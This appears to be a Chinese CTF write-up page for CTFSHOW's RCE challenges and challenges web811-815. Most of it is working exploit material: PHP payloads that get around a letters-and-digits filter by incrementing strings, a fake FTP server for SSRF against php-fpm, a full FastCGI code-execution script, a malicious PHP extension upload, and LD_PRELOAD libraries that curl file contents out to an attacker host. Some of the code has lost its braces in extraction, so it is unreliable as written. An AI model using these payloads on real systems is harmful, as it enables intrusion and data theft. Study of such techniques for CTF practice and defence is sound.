CTFSHOW每周大挑战——RCE篇
Posted Myanemo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW每周大挑战——RCE篇相关的知识,希望对你有一定的参考价值。
RCE1:过滤了括号,不能使用system(),可以用反引号搭配echo使用回显flag
payload:echo `cat /f*`;
RCE2:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show']))
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
过滤了很多东西呢,通过正则表达式匹配发现还有
' () + , . ; = [] _
上面还有提示,吃瓜杯Y4的shellme_revenge,想到用自增的方法
(32条消息) 【CTF】通过符号构造字母数字_吃_早餐的博客-CSDN博客
构造出来$_GET[_]($_GET[__]);然后直接命令执行即可
payload:post
$_=''.[];
$_=$_['_'];
$_++;
$_++;
$_++;
$__=++$_;
$_++;
$___=++$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;
$$_[_]($$_[__]);
注意post用url编码后使用。
get:?_=system&?__=cat /f*;
后面三个卡住了,师傅们都tql
RCE3:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show']))
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105)
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
这次是不仅过滤了而且还有字数限制。先正则匹配一下得到
() + , . / 0 1 ; = [] _
这次放出来了0 1,'被禁了。还是用自增的方法但是和前面有点不太一样了。因为有了长度限制,所以要用更短的方式。直觉上可能会觉得GET比POST短会用更少字符,但是因为从N开始后OPST都有,POST更容易用更少的字数得到,所以使用POST。
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
用burp把a换成不可见字符(如%ff %fe等),url编码中+会被替换成空格,所以要换成%2b
payload:
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa
RCE4:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show']))
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84)
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
比上一个少了1,而且字符数要求更少了。所以需要我们压缩得更短。不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0];
直接得到字母N,payload构造过程:
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
payload:
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
RCE5:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show']))
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73)
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
要求更少了,但是phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串
payload:
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
注意一下:因为不可见字符的原因,所以要用bp来做,hackbar可能会和我一样出现 url malformed CLOSE,用bp做的时候注意+会被替换成空格所以要编码外,还有用不可见字符替换过滤得字母(为了使得字符数更短才用的),其他直接post提交即可。
后面群里的大佬还有更短的payload,直接压到了72位构造如下:
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_.=_.$_++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
$_=$a.$a++;//PO
至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:
PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++
操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO
这里相当于先执行了$a++
操作(函数),并得到$a++
的返回值,然后和左侧的$a
变量进行拼接,此时$a
已经是P了。而$_=_.$a.$a++;
时先执行了_
和$a
的拼接,而后再执行$_='_O'.$a++
,所以得到的是_OO
。*以上所有均为猜测,具体机制需研究PHP源码。
总结:对于无数字字母rce有了更进一步的了解,可以用自增的方法解决,还有不可见字符代替得到更小的字符数。当然如果其他的被禁掉了,还有异或、$PATH、或、取反等方法来解决问题。
参考文章:
(33条消息) ctfshow RCE极限挑战 wp_练习两年半的篮球选..哦不对安全选手的博客-CSDN博客
(最后一篇文章的师傅RCE1-4都可以用hackbar,5实在要求太短只能用不可见字符才用bp)
CTFSHOW 常用姿势篇(811-820)
CTFSHOW 常用姿势篇
群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。
文章目录
web811
1、搭建恶意ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',4566)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\\n')
#Size /
conn.send(b'550 Could not get the file size.\\n')
#EPSV (1)
conn.send(b'150 ok\\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\\n') #STOR / (2)
conn.send(b'150 Permission denied.\\n')
#QUIT
conn.send(b'221 Goodbye.\\n')
conn.close()
在vps上运行python shell.py
2、利用gopherus生成payload
只取下划线后面的部分
3、vps开启监听 nc -lvp 4567
4、发送payload
ile=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容,且不需要再次编码)
5、得到flag
web812
exp
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \\
+ bchr(fcgi_type) \\
+ bchr((requestid >> 8) & 0xFF) \\
+ bchr(requestid & 0xFF) \\
+ bchr((length >> 8) & 0xFF) \\
+ bchr(length & 0xFF) \\
+ bchr(0) \\
+ bchr(0) \\
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \\
+ bchr((nLen >> 16) & 0xFF) \\
+ bchr((nLen >> 8) & 0xFF) \\
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \\
+ bchr((vLen >> 16) & 0xFF) \\
+ bchr((vLen >> 8) & 0xFF) \\
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs=, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \\
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
+ bchr(self.keepalive) \\
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host: port:".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params =
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
response = client.request(params, content)
print(force_text(response))
用法:
python exp.py -c ‘<?php system("cat /f*");?>’ -p 28074 pwn.challenge.ctf.show /usr/local/lib/php/System.php
端口改成自己的就可以了。
web813
大致过程就是自己生成一个mysqli.so(mysqli的扩展),然后扩展里面有ctfshow这个函数。
题目调用ctfshow函数的时候就会去扩展里面找(php里面没有这个函数)。
可以采用php源码中的ext_skel.php
来生成。
一般在ext目录下。
具体步骤如下:
1、php ext_skel.php --ext ctfshow --std
运行成功后会在当前目录下生成扩展名目录
2、进入到目录下,找到.c文件并编辑。
修改内容有如下两处
3、依次执行如下命令
phpize
./configure
make && make install
生成后告知具体在哪个位置
扩展的路径在phpinfo信息中可以看到
import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data='file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run')
还有个预期解的方法,其实就是打9000端口,可以参考下web811
web814
a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
system("curl http://url:port?s=`cat /*`");
int getuid()
if(getenv("LD_PRELOAD")==NULL) return 0;
unsetenv("LD_PRELOAD");
payload();
gcc -c -fPIC a.c -o hack&&gcc --share hack -o hack.so
生成恶意so文件
import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data='file':'/tmp/hack.so','content':open('hack.so','rb').read()
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
web815
上一题的方法这题也适用,但是这个题考的是下面这种方式:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void hack(void)
unsetenv("LD_PRELOAD");
system("curl http://xxx:4567?s=`cat /*`");
以上是关于CTFSHOW每周大挑战——RCE篇的主要内容,如果未能解决你的问题,请参考以下文章